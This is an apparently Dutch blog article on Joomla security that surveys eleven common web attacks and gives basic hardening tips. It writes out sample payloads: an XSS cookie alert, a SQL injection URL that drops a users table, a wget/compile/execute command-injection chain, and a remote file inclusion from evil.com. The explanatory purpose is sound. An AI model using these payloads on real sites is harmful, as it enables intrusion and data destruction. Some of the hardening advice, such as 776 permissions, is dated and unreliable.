Hoe veilig is uw joomla?
Hoe veilig is Joomla? In dit artikel willen we laten zien wat 'veilig' is op het Internet, laten we 11 soorten hackmethodes zien en geven we vooral basistips om gelegenheids-hackers geen kans te geven.
Populariteit
Joomla is weliswaar een CMS en geen operating systeem, en het is open source en gratis en het is daarmee nauwelijks te vergelijken met Windows, maar toch is er één duidelijke overeenkomst: ze hebben beide een enorm marktaandeel. Geen CMS is zo populair en wijd verspreid als Joomla. En met populariteit komen voordelen en nadelen.
Een van de voordelen is dat miljoenen mensen updates controleren, bugs melden en het systeem grondig bestuderen. Het nadeel is dat er meer informatie bekend is voor beginnende hackers en met dezelfde handeling vaak veel websites tegelijkertijd gehacked kunnen worden. Slecht beveiligde Joomla websites bieden dus vanuit een hackers perspectief een goede prijs / prestatie verhouding.
Hoe belangrijk populariteit is kunnen we goed zien aan het Mac OSX, het operating systeem op de Apple computers dat door vele ICT-specialisten als extreem veilig werd beschouwd. Dit heeft een groei van 2% naar 7% marktaandeel gehad het afgelopen jaar. Een sterke groei die de virusmakers niet is ontgaan, vandaar dat voor het eerst in haar geschiedenis Apple haar gebruikers op 1 december 2008 adviseert om een virusscanner te installeren.
Super veilig
Een goed beheerde Joomla is juist doordat zoveel technici wereldwijd het systeem doorlichten extreem veilig. Wanneer een hacker over de juiste kennis beschikt zal hij nog zeer veel tijd en moeite moeten stoppen in het hacken ervan. Toch komt een gehackte Joomla vaak voor. Om de reden hiervan te achterhalen moeten we eerst kijken naar achterliggende redenen van hackers om een Joomla website te hacken en vooral naar de methodes die hiervoor gebruikt worden.
Een rijtjeshuis is anders beveiligd dan een bank. Geen van beide zijn compleet veilig. Datzelfde geldt ook voor websites. U kunt deze zwaar beveiligen, maar wanneer een hacker, met genoeg kennis en tijd, het op uw website gemunt heeft, dan zal hij uw website kunnen hacken. De kans hierop is echter wel klein. Niet alleen is er maar een handjevol van dit soort hackers, ook is het risico dat een hacker hiermee loopt groot ten opzichte van de buit die hij krijgt. Toch hoor je geregeld dat er een Joomla website is gehacked. Dit komt in 99% van de gevallen door een combinatie van slecht beheer en beginnende / gefrustreerde computerexperts die met het grootste gemak een website hacken.
In bijna alle gevallen zijn er geen spannende verhalen van hackers die dagenlang codes zitten te kraken om uw database te benaderen. U kunt beter de vergelijking maken met verveelde pubers die uw huis bekladden omdat u de voordeur open laat staan.
11 Soorten hacks
Veel hacks worden mogelijk gemaakt omdat de gebruikers-input niet gecontroleerd wordt. Denk bijvoorbeeld aan bezoekers die een contactformulier invullen of zich kunnen aanmelden voor een nieuwsbrief. Vaak zijn er dan invoervelden waar kwaadwillenden proberen stukjes van hun code uit te voeren en zich zo toegang verschaffen tot de website. Het is belangrijk dat deze input voor het uitvoeren gecontroleerd wordt. Om een goed beeld te krijgen bespreken we een aantal hack mogelijkheden.
1. Cross Site Scripting
(XSS) Afkorting CSS, maar omdat deze afkorting verwarring brengt met Cascading Style Sheets (CSS) noemt men Cross Site Scripting ook wel XSS. Door middel van XSS is het mogelijk cookies te stelen en dus PHP-sessies over te nemen. U moet hierbij vooral denken aan bugs in navigatiescripts. Stukjes php code die links aanmaken of url’s waarin een variabele gebruikt wordt die een pagina kan bevatten. Als er bijvoorbeeld cookies beschikbaar zijn voor een domein kun je dat als volgt nagaan:
www.example.com/index.php?page=<script>alert(document.cookie);</script>
2. SQL injection
De hacker kan SQL uitvoeren in uw script. Door bijvoorbeeld bepaalde SQL-statements achter het url te plakken zou de hacker bijvoorbeeld een tabel uit de database kunnen verwijderen. Bijvoorbeeld de volgende url:
www.example.com/script.php?order=desc; DROP TABLE users
3. UBB Hacks
Veel websites hebben een alternatief opmaaksysteem gemaakt voor hun gebruikers. Het is dan bijvoorbeeld mogelijk een post te maken op een forum of te bloggen. Hier kun je dan speciale tags gebruiken om bijvoorbeeld een smiley te maken of bold tekst toe te voegen. Ook deze input kan door hackers gebruikt worden om bijvoorbeeld te proberen javascript code uit te voeren waarmee een cookie wordt gestolen.
4. Arbitrary Command Execution
Dit is ongecontroleerde user input die gebruikt wordt zodat de gebruiker commands kan laten uitvoeren op de server onder de gebruikersnaam waar PHP onder draait. Zorg in ieder geval dat je PHP niet onder de root gebruiker draait zodat er niet heel vervelende commando’s uitgevoerd kunnen worden. Het volgende voorbeeld download een kwaadaardig bestand en geeft dit voldoende uitvoerrechten. Vervolgens wordt dit uitgevoerd en verwijderd.
al; wget http://www.example.com/exploit.c; gcc exploit.c -o exploit; chmod 0700 exploit; ./exploit;
unlink exploit.c
5. Remote PHP execution
Remote PHP-execution betekent eigenlijk dat je vanaf afstand PHP uitvoert op een server. Dus de PHP-code staat op server B en die wordt gelezen en uitgevoerd op server A. Ook hierbij geld dat dit vaak voorkomt in navigatiescripts. Het volgende voorbeeld zal een tekstbestandje proberen uit te laten voeren alsof het php commandos zijn op de server.
www.example.com/script.php?page=http://www.evil.com/evilcode.txt
In evilcode.txt staat dan kwaadwillende php code die uitgevoerd wordt op server A.
6. Brute Force
Dit is een type hack die met weinig intelligentie iets gedaan probeert te krijgen. Dit komt vaak voor bij inlogscripts. Door oneindig vaak in te loggen zal uiteindelijk de juiste combinatie gevonden worden. Scripts die bijvoorbeeld niet een maximum aan inlogpogingen hanteren zijn hier vatbaar voor. 7.Upload Hacks Als er een publiek toegankelijke upload-mogelijkheid is op uw website dan bestaat de kans dat een kwaadwillend persoon een script of bestand probeert te uploaden naar uw website en deze vervolgens gebruikt om ergens een hackpoging te doen. Later in de logs lijkt het dan of de hackpoging van uw website afkomstig is. Belangrijk hierbij is dat het upload script controleert op de extensie van het geuploade bestand (php, html, js, etc.) en ook het content type nakijkt. Een bestandsextensie is namelijk makkelijk aan te passen maar het content type en daadwerkelijke inhoud niet. Iemand zou anders als nog een voorbeeld.txt bestand kunnen uploaden met php code erin.
8. Mime Content Type Hack
Het content type van een bestand wordt bepaald door bepaalde patronen in een bestand. Er zijn upload scripts op internet waar je alleen plaatjes kunt uploaden. De meeste upload scripts bekijken het geuploade plaatje op de extensie, maar er zijn ook scripts die het geuploade plaatje bekijken op mime content type en deze upload scripts kun je hacken. Als bij de upload alleen op type gecontrolleerd worden kan er dus het volgende gebeuren. We maken een plaatje en bewerken deze in kladblok en plaatsen onderaan wat kwaadaardige php code en saven deze als .php bestand. Omdat het upload script alleen maar op mime type controleerd en niet op extensie kunnen we een php bestand uploaden welke waarschijnlijk ergens in een plaatjes folder terecht komt. Dit bestand kunnen we dan gaan uitvoeren.
9.Session Hijacking
Omdat standaard PHP-sessies niet gekoppeld zijn een IP-adres, biedt dit een mogelijk veiligheidsrisico. Iedereen die eventueel toegang heeft tot de plek waar PHP de sessies bewaart, zou een sessie van iemand anders kunnen overnemen, omdat er niet gekeken wordt welk IP-adres deze sessie gebruikt. Een mogelijke oplossing is om de gebruikte PHP-scripts, die de sessies aanmaken, aan te passen zodat er gecontroleerd wordt op IP-adres als er een sessie wordt gestart.
10.Cookies
In cookies wordt kleine beetjes informatie bewaard over het website bezoek. Denk bijvoorbeeld aan het onthouden van je loginnaam. Omdat cookies lokaal bij de bezoeker bewaard worden zijn deze gemakkelijk aan te passen en eventueel te misbruiken. Een manier om dit tegen te gaan is om door middel van een eigen code een cookie bij de bezoeker neer te zetten die ge-encrypt is met een geheime sleutel. Deze kunt u dan bij het uitlezen in uw script controleren. Dit maakt het enorm lastig voor de gebruiker om uw cookie te manipuleren. Als u deze cookie-methode combineert met de IP-koppeling aan uw sessie wordt het bijna onmogelijk deze cookies of sessies te misbruiken.
11.Configuratie
Ook als uw code uiteindelijk enorm veilig is kan het systeem toch nog falen als de gebruikte configuratie niet klopt. PHP is op een aantal manieren te beïnvloeden.
php.ini -> Het configuratiebestand van PHP
.htaccess -> Het configuratiebestand van apache, de webserver
.ini_set() -> Kiermee kun je via je PHP code de php configuratie waardes aanpassen
De remedie
Er zijn een aantal dingen dat u kunt doen om ervoor te zorgen dat de toevallig passerende hacker uw website links laat liggen. Hier enkele tips:
- Houd uw Joomla en uw 3rd party plugin altijd up-to-date! Vaak wordt wel aan Joomla zelf gedacht, maar wordt bijvoorbeeld een contactformulier vergeten. Een ketting is net zo sterk als zijn zwakste schakel. Dit zelfde geldt ook voor Joomla. Installeer updates altijd eerst op een ontwikkel- of testomgeving!
- Controleer geregeld of er geen bestanden onveilig open staan. Door middel van een FTP-cliënt kunt u bestanden die op uw webspace staan bekijken, uploaden en verwijderen. U kunt echter ook aangeven of deze bestanden door mensen van buitenaf, mensen die via de website komen, bekeken of overgeschreven mogen worden. Deze rechten worden vaak aangegeven met getallen. Met deze getallen, die uit drie cijfers bestaan, wordt aangegeven welke persoon welke rechten heeft.
- Over het algemeen moet u bestanden geen hogere rechten dan 750 geven. De enige uitzonderingen hierop zijn directories en bestanden waarin door Joomla zelf geschreven mag worden. Zoals de map waar u plaatjes kunt uploaden binnen Joomla. De rechten van dit soort bestanden en directories mag maximaal op 776 staan. In feite geeft u hiermee een ingang voor hackers, maar zolang het niet gaat om kritieke bestanden of mappen, is er niets aan hand. Meer informatie over deze file-rechten vindt u hier: http://en.wikipedia.org/wiki/File_permissions.
- Installeer niet zomaar elke plugin. Zoals eerder aangegeven, een plugin kan een zwakke schakel betekenen en kan een hacker een ingang geven. Voordat u dus een plugin gaat installeren, is het verstandig om te bekijken of er andere mensen zijn die deze plugin succesvol gebruiken, en of er gevallen van hackpogingen bekend zijn. En misschien wel het belangrijkste, of de maker van de plugin geregeld updates maakt. Als de versie van de plugin die u gedownload heeft stamt uit 2006, dan kunt u deze beter niet installeren.
- Maak gebruik van sterke wachtwoorden. Deze bestaan uit voldoende letters, tekens en cijfers. Wilt u weten of uw wachtwoord sterk genoeg is: http://www.microsoft.com/protect/yourself/password/checker.mspx. Beheer de gebruikersaccounts van uw website goed. Te vaak zien we websites met 20 Super Administrators. Sommige met namen als 'test', terwijl er maar één persoon is die de website beheert. Ruim dus geregeld ongebruikte accounts op en verlaag het toegangsniveau van gebruikers wanneer deze niets te zoeken hebben in het Administrator gedeelte.
Het is niet voor niets dat grote organisaties en overheden massaal overstappen op Drupal. Het biedt "out-of-the-box" ongekend veel mogelijkheden.
Reactie toevoegen